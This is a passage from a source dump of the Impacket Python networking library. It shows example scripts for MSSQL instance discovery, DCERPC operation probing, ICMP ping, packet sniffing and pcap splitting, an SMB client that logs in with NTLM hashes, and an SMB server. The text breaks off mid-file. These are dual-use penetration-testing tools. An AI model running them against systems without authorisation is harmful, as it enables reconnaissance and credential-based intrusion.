| 17 | 18 | import argparse 19 | import sys 20 | import string 21 | import logging 22 | 23 | from impacket.examples import logger 24 | from impacket import version, tds 25 | 26 | if __name__ == '__main__': 27 | 28 | print version.BANNER 29 | # Init the example's logger theme 30 | logger.init() 31 | 32 | parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.") 33 | 34 | parser.add_argument('host', action='store', help='target host') 35 | parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer') 36 | 37 | if len(sys.argv)==1: 38 | parser.print_help() 39 | sys.exit(1) 40 | 41 | options = parser.parse_args() 42 | 43 | ms_sql = tds.MSSQL(options.host) 44 | instances = ms_sql.getInstances(string.atoi(options.timeout)) 45 | if len(instances) == 0: 46 | "No MSSQL Instances found" 47 | else: 48 | for i, instance in enumerate(instances): 49 | logging.info("Instance %d" % i) 50 | for key in instance.keys(): 51 | print key + ":" + instance[key] 52 | 53 | -------------------------------------------------------------------------------- /examples/opdump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """opdump - scan for operations on a given DCERPC interface 3 | 4 | Usage: opdump.py hostname port interface version 5 | 6 | This binds to the given hostname:port and DCERPC interface. Then, it tries to 7 | call each of the first 256 operation numbers in turn and reports the outcome 8 | of each call. 9 | 10 | This will generate a burst of TCP connections to the given host:port! 11 | 12 | Example: 13 | $ ./opdump.py 10.0.0.30 135 99FCFEC4-5260-101B-BBCB-00AA0021347A 0.0 14 | op 0 (0x00): rpc_x_bad_stub_data 15 | op 1 (0x01): rpc_x_bad_stub_data 16 | op 2 (0x02): rpc_x_bad_stub_data 17 | op 3 (0x03): success 18 | op 4 (0x04): rpc_x_bad_stub_data 19 | ops 5-255: nca_s_op_rng_error 20 | 21 | rpc_x_bad_stub_data, rpc_s_access_denied, and success generally means there's an 22 | operation at that number. 23 | 24 | Author: Catalin Patulea 25 | """ 26 | import sys 27 | 28 | from impacket.examples import logger 29 | from impacket import uuid 30 | from impacket.dcerpc.v5 import transport 31 | 32 | 33 | def main(args): 34 | if len(args) != 4: 35 | print "usage: opdump.py hostname port interface version" 36 | return 1 37 | 38 | host, port, interface, version = args[0], int(args[1]), args[2], args[3] 39 | 40 | stringbinding = "ncacn_ip_tcp:%s" % host 41 | trans = transport.DCERPCTransportFactory(stringbinding) 42 | trans.set_dport(port) 43 | 44 | results = [] 45 | for i in range(256): 46 | dce = trans.get_dce_rpc() 47 | dce.connect() 48 | 49 | iid = uuid.uuidtup_to_bin((interface, version)) 50 | dce.bind(iid) 51 | 52 | dce.call(i, "") 53 | try: 54 | dce.recv() 55 | except Exception, e: 56 | result = str(e) 57 | else: 58 | result = "success" 59 | 60 | dce.disconnect() 61 | 62 | results.append(result) 63 | 64 | # trim duplicate suffixes from the back 65 | suffix = results[-1] 66 | while results and results[-1] == suffix: 67 | results.pop() 68 | 69 | for i, result in enumerate(results): 70 | print "op %d (0x%02x): %s" % (i, i, result) 71 | 72 | print "ops %d-%d: %s" % (len(results), 255, suffix) 73 | 74 | if __name__ == "__main__": 75 | # Init the example's logger theme 76 | logger.init() 77 | sys.exit(main(sys.argv[1:])) 78 | -------------------------------------------------------------------------------- /examples/ping.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Simple ICMP ping. 9 | # 10 | # This implementation of ping uses the ICMP echo and echo-reply packets 11 | # to check the status of a host. If the remote host is up, it should reply 12 | # to the echo probe with an echo-reply packet. 13 | # Note that this isn't a definite test, as in the case the remote host is up 14 | # but refuses to reply the probes. 15 | # Also note that the user must have special access to be able to open a raw 16 | # socket, which this program requires. 17 | # 18 | # Authors: 19 | # Gerardo Richarte 20 | # Javier Kohen 21 | # 22 | # Reference for: 23 | # ImpactPacket: IP, ICMP, DATA. 24 | # ImpactDecoder. 25 | 26 | import select 27 | import socket 28 | import time 29 | import sys 30 | 31 | from impacket import ImpactDecoder, ImpactPacket 32 | 33 | if len(sys.argv) < 3: 34 | print("Use: %s " % sys.argv[0]) 35 | sys.exit(1) 36 | 37 | src = sys.argv[1] 38 | dst = sys.argv[2] 39 | 40 | # Create a new IP packet and set its source and destination addresses. 41 | 42 | ip = ImpactPacket.IP() 43 | ip.set_ip_src(src) 44 | ip.set_ip_dst(dst) 45 | 46 | # Create a new ICMP packet of type ECHO. 47 | 48 | icmp = ImpactPacket.ICMP() 49 | icmp.set_icmp_type(icmp.ICMP_ECHO) 50 | 51 | # Include a 156-character long payload inside the ICMP packet. 52 | icmp.contains(ImpactPacket.Data("A"*156)) 53 | 54 | # Have the IP packet contain the ICMP packet (along with its payload). 55 | ip.contains(icmp) 56 | 57 | # Open a raw socket. Special permissions are usually required. 58 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) 59 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 60 | 61 | seq_id = 0 62 | while 1: 63 | # Give the ICMP packet the next ID in the sequence. 64 | seq_id += 1 65 | icmp.set_icmp_id(seq_id) 66 | 67 | # Calculate its checksum. 68 | icmp.set_icmp_cksum(0) 69 | icmp.auto_checksum = 1 70 | 71 | # Send it to the target host. 72 | s.sendto(ip.get_packet(), (dst, 0)) 73 | 74 | # Wait for incoming replies. 75 | if s in select.select([s],[],[],1)[0]: 76 | reply = s.recvfrom(2000)[0] 77 | 78 | # Use ImpactDecoder to reconstruct the packet hierarchy. 79 | rip = ImpactDecoder.IPDecoder().decode(reply) 80 | # Extract the ICMP packet from its container (the IP packet). 81 | ricmp = rip.child() 82 | 83 | # If the packet matches, report it to the user. 84 | if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type(): 85 | print("Ping reply for sequence #%d" % ricmp.get_icmp_id()) 86 | 87 | time.sleep(1) 88 | -------------------------------------------------------------------------------- /examples/ping6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Simple ICMP6 ping. 9 | # 10 | # This implementation of ping uses the ICMP echo and echo-reply packets 11 | # to check the status of a host. If the remote host is up, it should reply 12 | # to the echo probe with an echo-reply packet. 13 | # Note that this isn't a definite test, as in the case the remote host is up 14 | # but refuses to reply the probes. 15 | # Also note that the user must have special access to be able to open a raw 16 | # socket, which this program requires. 17 | # 18 | # Authors: 19 | # Alberto Solino (@agsolino) 20 | # 21 | # Reference for: 22 | # ImpactPacket: ICMP6 23 | # ImpactDecoder. 24 | 25 | import select 26 | import socket 27 | import time 28 | import sys 29 | 30 | from impacket import ImpactDecoder, ImpactPacket, IP6, ICMP6, version 31 | 32 | print(version.BANNER) 33 | 34 | if len(sys.argv) < 3: 35 | print("Use: %s " % sys.argv[0]) 36 | sys.exit(1) 37 | 38 | src = sys.argv[1] 39 | dst = sys.argv[2] 40 | 41 | # Create a new IP packet and set its source and destination addresses. 42 | 43 | ip = IP6.IP6() 44 | ip.set_ip_src(src) 45 | ip.set_ip_dst(dst) 46 | ip.set_traffic_class(0) 47 | ip.set_flow_label(0) 48 | ip.set_hop_limit(64) 49 | 50 | # Open a raw socket. Special permissions are usually required. 51 | s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6) 52 | 53 | payload = "A"*156 54 | 55 | print("PING %s %d data bytes" % (dst, len(payload))) 56 | seq_id = 0 57 | while 1: 58 | # Give the ICMP packet the next ID in the sequence. 59 | seq_id += 1 60 | icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload) 61 | 62 | # Have the IP packet contain the ICMP packet (along with its payload). 63 | ip.contains(icmp) 64 | ip.set_next_header(ip.child().get_ip_protocol_number()) 65 | ip.set_payload_length(ip.child().get_size()) 66 | icmp.calculate_checksum() 67 | 68 | # Send it to the target host. 69 | s.sendto(icmp.get_packet(), (dst, 0)) 70 | 71 | # Wait for incoming replies. 72 | if s in select.select([s],[],[],1)[0]: 73 | reply = s.recvfrom(2000)[0] 74 | 75 | # Use ImpactDecoder to reconstruct the packet hierarchy. 76 | rip = ImpactDecoder.ICMP6Decoder().decode(reply) 77 | 78 | # If the packet matches, report it to the user. 79 | if ICMP6.ICMP6.ECHO_REPLY == rip.get_type(): 80 | print("%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4,dst,rip.get_echo_sequence_number())) 81 | 82 | time.sleep(1) 83 | -------------------------------------------------------------------------------- /examples/smbclient.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Description: Mini shell using some of the SMB funcionality of the library 9 | # 10 | # Author: 11 | # Alberto Solino (@agsolino) 12 | # 13 | # 14 | # Reference for: 15 | # SMB DCE/RPC 16 | # 17 | import sys 18 | import logging 19 | import argparse 20 | from impacket.examples import logger 21 | from impacket.examples.smbclient import MiniImpacketShell 22 | from impacket import version 23 | from impacket.smbconnection import SMBConnection 24 | 25 | def main(): 26 | # Init the example's logger theme 27 | logger.init() 28 | print version.BANNER 29 | parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.") 30 | 31 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 32 | parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') 33 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 34 | 35 | group = parser.add_argument_group('authentication') 36 | 37 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 38 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 39 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 40 | '(KRB5CCNAME) based on target parameters. If valid credentials ' 41 | 'cannot be found, it will use the ones specified in the command ' 42 | 'line') 43 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 44 | '(128 or 256 bits)') 45 | 46 | group = parser.add_argument_group('connection') 47 | 48 | group.add_argument('-dc-ip', action='store', metavar="ip address", 49 | help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 50 | 'the target parameter') 51 | group.add_argument('-target-ip', action='store', metavar="ip address", 52 | help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 53 | 'This is useful when target is the NetBIOS name and you cannot resolve it') 54 | group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", 55 | help='Destination port to connect to SMB Server') 56 | 57 | if len(sys.argv)==1: 58 | parser.print_help() 59 | sys.exit(1) 60 | 61 | options = parser.parse_args() 62 | 63 | if options.debug is True: 64 | logging.getLogger().setLevel(logging.DEBUG) 65 | else: 66 | logging.getLogger().setLevel(logging.INFO) 67 | 68 | import re 69 | domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 70 | options.target).groups('') 71 | 72 | #In case the password contains '@' 73 | if '@' in address: 74 | password = password + '@' + address.rpartition('@')[0] 75 | address = address.rpartition('@')[2] 76 | 77 | if options.target_ip is None: 78 | options.target_ip = address 79 | 80 | if domain is None: 81 | domain = '' 82 | 83 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 84 | from getpass import getpass 85 | password = getpass("Password:") 86 | 87 | if options.aesKey is not None: 88 | options.k = True 89 | 90 | if options.hashes is not None: 91 | lmhash, nthash = options.hashes.split(':') 92 | else: 93 | lmhash = '' 94 | nthash = '' 95 | 96 | try: 97 | smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port)) 98 | if options.k is True: 99 | smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip ) 100 | else: 101 | smbClient.login(username, password, domain, lmhash, nthash) 102 | 103 | shell = MiniImpacketShell(smbClient) 104 | 105 | if options.file is not None: 106 | logging.info("Executing commands from %s" % options.file.name) 107 | for line in options.file.readlines(): 108 | if line[0] != '#': 109 | print "# %s" % line, 110 | shell.onecmd(line) 111 | else: 112 | print line, 113 | else: 114 | shell.cmdloop() 115 | except Exception as e: 116 | if logging.getLogger().level == logging.DEBUG: 117 | import traceback 118 | traceback.print_exc() 119 | logging.error(str(e)) 120 | 121 | if __name__ == "__main__": 122 | main() 123 | -------------------------------------------------------------------------------- /examples/smbserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Simple SMB Server example. 9 | # 10 | # Author: 11 | # Alberto Solino (@agsolino) 12 | # 13 | 14 | import sys 15 | import argparse 16 | import logging 17 | 18 | from impacket.examples import logger 19 | from impacket import smbserver, version 20 | from impacket.ntlm import compute_lmhash, compute_nthash 21 | 22 | if __name__ == '__main__': 23 | 24 | # Init the example's logger theme 25 | logger.init() 26 | print version.BANNER 27 | 28 | parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a " 29 | "share specified as an argument. You need to be root in order to bind to port 445. " 30 | "No authentication will be enforced. Example: smbserver.py -comment 'My share' TMP " 31 | "/tmp") 32 | 33 | parser.add_argument('shareName', action='store', help='name of the share to add') 34 | parser.add_argument('sharePath', action='store', help='path of the share to add') 35 | parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares') 36 | parser.add_argument('-username', action="store", help='Username to authenticate clients') 37 | parser.add_argument('-password', action="store", help='Password for the Username') 38 | parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH') 39 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 40 | parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface') 41 | parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)') 42 | parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') 43 | 44 | if len(sys.argv)==1: 45 | parser.print_help() 46 | sys.exit(1) 47 | 48 | try: 49 | options = parser.parse_args() 50 | except Exception, e: 51 | logging.critical(str(e)) 52 | sys.exit(1) 53 | 54 | if options.debug is True: 55 | logging.getLogger().setLevel(logging.DEBUG) 56 | else: 57 | logging.getLogger().setLevel(logging.INFO) 58 | 59 | if options.comment is None: 60 | comment = '' 61 | else: 62 | comment = options.comment 63 | 64 | server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port)) 65 | 66 | server.addShare(options.shareName.upper(), options.sharePath, comment) 67 | server.setSMB2Support(options.smb2support) 68 | 69 | # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous 70 | # connections will be allowed 71 | if options.username is not None: 72 | # we either need a password or hashes, if not, ask 73 | if options.password is None and options.hashes is None: 74 | from getpass import getpass 75 | password = getpass("Password:") 76 | # Let's convert to hashes 77 | lmhash = compute_lmhash(password) 78 | nthash = compute_nthash(password) 79 | elif options.password is not None: 80 | lmhash = compute_lmhash(options.password) 81 | nthash = compute_nthash(options.password) 82 | else: 83 | lmhash, nthash = options.hashes.split(':') 84 | 85 | server.addCredential(options.username, 0, lmhash, nthash) 86 | 87 | # Here you can set a custom SMB challenge in hex format 88 | # If empty defaults to '4141414141414141' 89 | # (remember: must be 16 hex bytes long) 90 | # e.g. server.setSMBChallenge('12345678abcdef00') 91 | server.setSMBChallenge('') 92 | 93 | # If you don't want log to stdout, comment the following line 94 | # If you want log dumped to a file, enter the filename 95 | server.setLogFile('') 96 | 97 | # Rock and roll 98 | server.start() 99 | 100 | -------------------------------------------------------------------------------- /examples/sniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Simple packet sniffer. 9 | # 10 | # This packet sniffer uses the pcap library to listen for packets in 11 | # transit over the specified interface. The returned packages can be 12 | # filtered according to a BPF filter (see tcpdump(3) for further 13 | # information on BPF filters). 14 | # 15 | # Note that the user might need special permissions to be able to use pcap. 16 | # 17 | # Authors: 18 | # Maximiliano Caceres 19 | # Javier Kohen 20 | # 21 | # Reference for: 22 | # pcapy: findalldevs, open_live. 23 | # ImpactDecoder. 24 | 25 | import sys 26 | from threading import Thread 27 | import pcapy 28 | from pcapy import findalldevs, open_live 29 | 30 | from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder 31 | 32 | 33 | class DecoderThread(Thread): 34 | def __init__(self, pcapObj): 35 | # Query the type of the link and instantiate a decoder accordingly. 36 | datalink = pcapObj.datalink() 37 | if pcapy.DLT_EN10MB == datalink: 38 | self.decoder = EthDecoder() 39 | elif pcapy.DLT_LINUX_SLL == datalink: 40 | self.decoder = LinuxSLLDecoder() 41 | else: 42 | raise Exception("Datalink type not supported: " % datalink) 43 | 44 | self.pcap = pcapObj 45 | Thread.__init__(self) 46 | 47 | def run(self): 48 | # Sniff ad infinitum. 49 | # PacketHandler shall be invoked by pcap for every packet. 50 | self.pcap.loop(0, self.packetHandler) 51 | 52 | def packetHandler(self, hdr, data): 53 | # Use the ImpactDecoder to turn the rawpacket into a hierarchy 54 | # of ImpactPacket instances. 55 | # Display the packet in human-readable form. 56 | print self.decoder.decode(data) 57 | 58 | 59 | def getInterface(): 60 | # Grab a list of interfaces that pcap is able to listen on. 61 | # The current user will be able to listen from all returned interfaces, 62 | # using open_live to open them. 63 | ifs = findalldevs() 64 | 65 | # No interfaces available, abort. 66 | if 0 == len(ifs): 67 | print "You don't have enough permissions to open any interface on this system." 68 | sys.exit(1) 69 | 70 | # Only one interface available, use it. 71 | elif 1 == len(ifs): 72 | print 'Only one interface present, defaulting to it.' 73 | return ifs[0] 74 | 75 | # Ask the user to choose an interface from the list. 76 | count = 0 77 | for iface in ifs: 78 | print '%i - %s' % (count, iface) 79 | count += 1 80 | idx = int(raw_input('Please select an interface: ')) 81 | 82 | return ifs[idx] 83 | 84 | def main(filter): 85 | dev = getInterface() 86 | 87 | # Open interface for catpuring. 88 | p = open_live(dev, 1500, 0, 100) 89 | 90 | # Set the BPF filter. See tcpdump(3). 91 | p.setfilter(filter) 92 | 93 | print "Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink()) 94 | 95 | # Start sniffing thread and finish main thread. 96 | DecoderThread(p).start() 97 | 98 | # Process command-line arguments. Take everything as a BPF filter to pass 99 | # onto pcap. Default to the empty filter (match all). 100 | filter = '' 101 | if len(sys.argv) > 1: 102 | filter = ' '.join(sys.argv[1:]) 103 | 104 | main(filter) 105 | -------------------------------------------------------------------------------- /examples/sniffer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Simple packet sniffer. 9 | # 10 | # This packet sniffer uses a raw socket to listen for packets 11 | # in transit corresponding to the specified protocols. 12 | # 13 | # Note that the user might need special permissions to be able to use 14 | # raw sockets. 15 | # 16 | # Authors: 17 | # Gerardo Richarte 18 | # Javier Kohen 19 | # 20 | # Reference for: 21 | # ImpactDecoder. 22 | 23 | from select import select 24 | import socket 25 | import sys 26 | 27 | from impacket import ImpactDecoder 28 | 29 | DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp') 30 | 31 | if len(sys.argv) == 1: 32 | toListen = DEFAULT_PROTOCOLS 33 | print "Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s [proto2] ..." % sys.argv[0] 34 | else: 35 | toListen = sys.argv[1:] 36 | 37 | # Open one socket for each specified protocol. 38 | # A special option is set on the socket so that IP headers are included with 39 | # the returned data. 40 | sockets = [] 41 | for protocol in toListen: 42 | try: 43 | protocol_num = socket.getprotobyname(protocol) 44 | except socket.error: 45 | print "Ignoring unknown protocol:", protocol 46 | toListen.remove(protocol) 47 | continue 48 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) 49 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 50 | sockets.append(s) 51 | 52 | if 0 == len(toListen): 53 | print "There are no protocols available." 54 | sys.exit(0) 55 | 56 | print "Listening on protocols:", toListen 57 | 58 | # Instantiate an IP packets decoder. 59 | # As all the packets include their IP header, that decoder only is enough. 60 | decoder = ImpactDecoder.IPDecoder() 61 | 62 | while len(sockets) > 0: 63 | # Wait for an incoming packet on any socket. 64 | ready = select(sockets, [], [])[0] 65 | for s in ready: 66 | packet = s.recvfrom(4096)[0] 67 | if 0 == len(packet): 68 | # Socket remotely closed. Discard it. 69 | sockets.remove(s) 70 | s.close() 71 | else: 72 | # Packet received. Decode and display it. 73 | packet = decoder.decode(packet) 74 | print packet 75 | -------------------------------------------------------------------------------- /examples/split.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Pcap dump splitter. 9 | # 10 | # This tools splits pcap capture files into smaller ones, one for each 11 | # different TCP/IP connection found in the original. 12 | # 13 | # Authors: 14 | # Alejandro D. Weil 15 | # Javier Kohen 16 | # 17 | # Reference for: 18 | # pcapy: open_offline, pcapdumper. 19 | # ImpactDecoder. 20 | 21 | import sys 22 | from exceptions import Exception 23 | import pcapy 24 | from pcapy import open_offline 25 | 26 | from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder 27 | 28 | 29 | class Connection: 30 | """This class can be used as a key in a dictionary to select a connection 31 | given a pair of peers. Two connections are considered the same if both 32 | peers are equal, despite the order in which they were passed to the 33 | class constructor. 34 | """ 35 | 36 | def __init__(self, p1, p2): 37 | """This constructor takes two tuples, one for each peer. The first 38 | element in each tuple is the IP address as a string, and the 39 | second is the port as an integer. 40 | """ 41 | 42 | self.p1 = p1 43 | self.p2 = p2 44 | 45 | def getFilename(self): 46 | """Utility function that returns a filename composed by the IP 47 | addresses and ports of both peers. 48 | """ 49 | return '%s.%d-%s.%d.pcap'%(self.p1[0],self.p1[1],self.p2[0],self.p2[1]) 50 | 51 | def __cmp__(self, other): 52 | if ((self.p1 == other.p1 and self.p2 == other.p2) 53 | or (self.p1 == other.p2 and self.p2 == other.p1)): 54 | return 0 55 | else: 56 | return -1 57 | 58 | def __hash__(self): 59 | return (hash(self.p1[0]) ^ hash(self.p1[1]) 60 | ^ hash(self.p2[0]) ^ hash(self.p2[1])) 61 | 62 | 63 | class Decoder: 64 | def __init__(self, pcapObj): 65 | # Query the type of the link and instantiate a decoder accordingly. 66 | datalink = pcapObj.datalink() 67 | if pcapy.DLT_EN10MB == datalink: 68 | self.decoder = EthDecoder() 69 | elif pcapy.DLT_LINUX_SLL == datalink: 70 | self.decoder = LinuxSLLDecoder() 71 | else: 72 | raise Exception("Datalink type not supported: " % datalink) 73 | 74 | self.pcap = pcapObj 75 | self.connections = {} 76 | 77 | def start(self): 78 | # Sniff ad infinitum. 79 | # PacketHandler shall be invoked by pcap for every packet. 80 | self.pcap.loop(0, self.packetHandler) 81 | 82 | def packetHandler(self, hdr, data): 83 | """Handles an incoming pcap packet. This method only knows how 84 | to recognize TCP/IP connections. 85 | Be sure that only TCP packets are passed onto this handler (or 86 | fix the code to ignore the others). 87 | 88 | Setting r"ip proto \tcp" as part of the pcap filter expression 89 | suffices, and there shouldn't be any problem combining that with 90 | other expressions. 91 | """ 92 | 93 | # Use the ImpactDecoder to turn the rawpacket into a hierarchy 94 | # of ImpactPacket instances. 95 | p = self.decoder.decode(data) 96 | ip = p.child() 97 | tcp = ip.child() 98 | 99 | # Build a distinctive key for this pair of peers. 100 | src = (ip.get_ip_src(), tcp.get_th_sport() ) 101 | dst = (ip.get_ip_dst(), tcp.get_th_dport() ) 102 | con = Connection(src,dst) 103 | 104 | # If there isn't an entry associated yetwith this connection, 105 | # open a new pcapdumper and create an association. 106 | if not self.connections.has_key(con): 107 | fn = con.getFilename() 108 | print "Found a new connection, storing into:", fn 109 | try: 110 | dumper = self.pcap.dump_open(fn) 111 | except pcapy.PcapError, e: 112 | print "Can't write packet to:", fn 113 | return 114 | self.connections[con] = dumper 115 | 116 | # Write the packet to the corresponding file. 117 | self.connections[con].dump(hdr, data) 118 | 119 | 120 | 121 | def main(filename): 122 | # Open file 123 | p = open_offline(filename) 124 | 125 | # At the moment the callback only accepts TCP/IP packets. 126 | p.setfilter(r'ip proto \tcp') 127 | 128 | print "Reading from %s: linktype=%d" % (filename, p.datalink()) 129 | 130 | # Start decoding process. 131 | Decoder(p).start() 132 | 133 | 134 | # Process command-line arguments. 135 | if __name__ == '__main__': 136 | if len(sys.argv) <= 1: 137 | print "Usage: %s " % sys.argv[0] 138 | sys.exit(1) 139 | 140 | main(sys.argv[1]) 141 | -------------------------------------------------------------------------------- /impacket/Dot11Crypto.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: 8 | # IEEE 802.11 Network packet codecs. 9 | # 10 | # Author: 11 | # Gustavo Moreira 12 | 13 | class RC4(): 14 | def __init__(self, key): 15 | j = 0 16 | self.state = range(256) 17 | for i in range(256): 18 | j = (j + self.state[i] + ord(key[i % len(key)])) & 0xff 19 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) 20 | 21 | def encrypt(self, data): 22 | i = j = 0 23 | out='' 24 | for char in data: 25 | i = (i+1) & 0xff 26 | j = (j+self.state[i]) & 0xff 27 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) 28 | out+=chr(ord(char) ^ self.state[(self.state[i] + self.state[j]) & 0xff]) 29 | 30 | return out 31 | 32 | def decrypt(self, data): 33 | # It's symmetric 34 | return self.encrypt(data) 35 | -------------------------------------------------------------------------------- /impacket/Dot11KeyManager.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: 8 | # IEEE 802.11 Network packet codecs. 9 | # 10 | # Author: 11 | # Gustavo Moreira 12 | 13 | from array import array 14 | class KeyManager: 15 | def __init__(self): 16 | self.keys = {} 17 | 18 | def __get_bssid_hasheable_type(self, bssid): 19 | # List is an unhashable type 20 | if not isinstance(bssid, (list,tuple,array)): 21 | raise Exception('BSSID datatype must be a tuple, list or array') 22 | return tuple(bssid) 23 | 24 | def add_key(self, bssid, key): 25 | bssid=self.__get_bssid_hasheable_type(bssid) 26 | if not bssid in self.keys: 27 | self.keys[bssid] = key 28 | return True 29 | else: 30 | return False 31 | 32 | def replace_key(self, bssid, key): 33 | bssid=self.__get_bssid_hasheable_type(bssid) 34 | self.keys[bssid] = key 35 | 36 | return True 37 | 38 | def get_key(self, bssid): 39 | bssid=self.__get_bssid_hasheable_type(bssid) 40 | if self.keys.has_key(bssid): 41 | return self.keys[bssid] 42 | else: 43 | return False 44 | 45 | def delete_key(self, bssid): 46 | bssid=self.__get_bssid_hasheable_type(bssid) 47 | if not isinstance(bssid, list): 48 | raise Exception('BSSID datatype must be a list') 49 | 50 | if self.keys.has_key(bssid): 51 | del self.keys[bssid] 52 | return True 53 | 54 | return False 55 | -------------------------------------------------------------------------------- /impacket/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2003-2016 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Author: Alberto Solino (@agsolino) 8 | # 9 | 10 | # Set default logging handler to avoid "No handler found" warnings. 11 | import logging 12 | try: # Python 2.7+ 13 | from logging import NullHandler 14 | except ImportError: 15 | class NullHandler(logging.Handler): 16 | def emit(self, record): 17 | pass 18 | 19 | # All modules inside this library MUST use this logger (impacket) 20 | # It is up to the library consumer to do whatever is wanted 21 | # with the logger output. By default it is forwarded to the 22 | # upstream logger 23 | 24 | LOG = logging.getLogger(__name__) 25 | LOG.addHandler(NullHandler()) 26 | -------------------------------------------------------------------------------- /impacket/dcerpc/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/dcerpc/v5/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/dcerpc/v5/bkrp.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Author: Alberto Solino (@agsolino) 8 | # 9 | # Description: 10 | # [MS-BKRP] Interface implementation 11 | # 12 | # Best way to learn how to use these calls is to 